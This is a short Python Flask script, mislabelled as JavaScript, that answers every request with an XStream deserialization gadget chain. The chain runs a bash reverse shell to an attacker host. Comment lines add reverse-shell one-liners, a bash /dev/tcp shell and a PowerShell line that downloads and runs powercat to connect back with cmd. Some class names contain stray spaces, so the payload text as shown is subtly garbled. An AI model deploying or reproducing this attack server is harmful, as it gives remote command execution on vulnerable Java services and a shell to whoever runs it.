JavaScript:
# -*- coding: utf-8 -*-
# linux反弹shell bash -i >& /dev/tcp/192.168.20.82/9999 0>&1
# windows反弹shell
# <string>powershell</string>
# <string>IEX (New-O bject System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');</string>
# <string>powercat -c 192.168.123.1 -p 2333 -e cmd</string>
from flask import Flask, Response
app = Flask(__name__)
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods = ['GET', 'POST'])
def catch_all(path):
XML = """<l inked-hash-set>
<jdk.nashorn.internal.O bjects.NativeString>
<value class="com.sun.X ML.internal.bind.v2.runtime.unmarshaller.B ase64Data">
<dataHandler>
<dataSource class="com.sun.X ML.internal.ws.encoding.X ML.X MLMessage$X MLDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/bin/bash</string>
<string>-c</string>
<string>bash -i >& /dev/tcp/vps-ip/1234 0>&1</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.O bjects.NativeString>
</l inked-hash-set>"""
return Response(XML, mimetype='application/XML')
if __name__ == "__main__":
app.run(host='0.0.0.0', port=2222)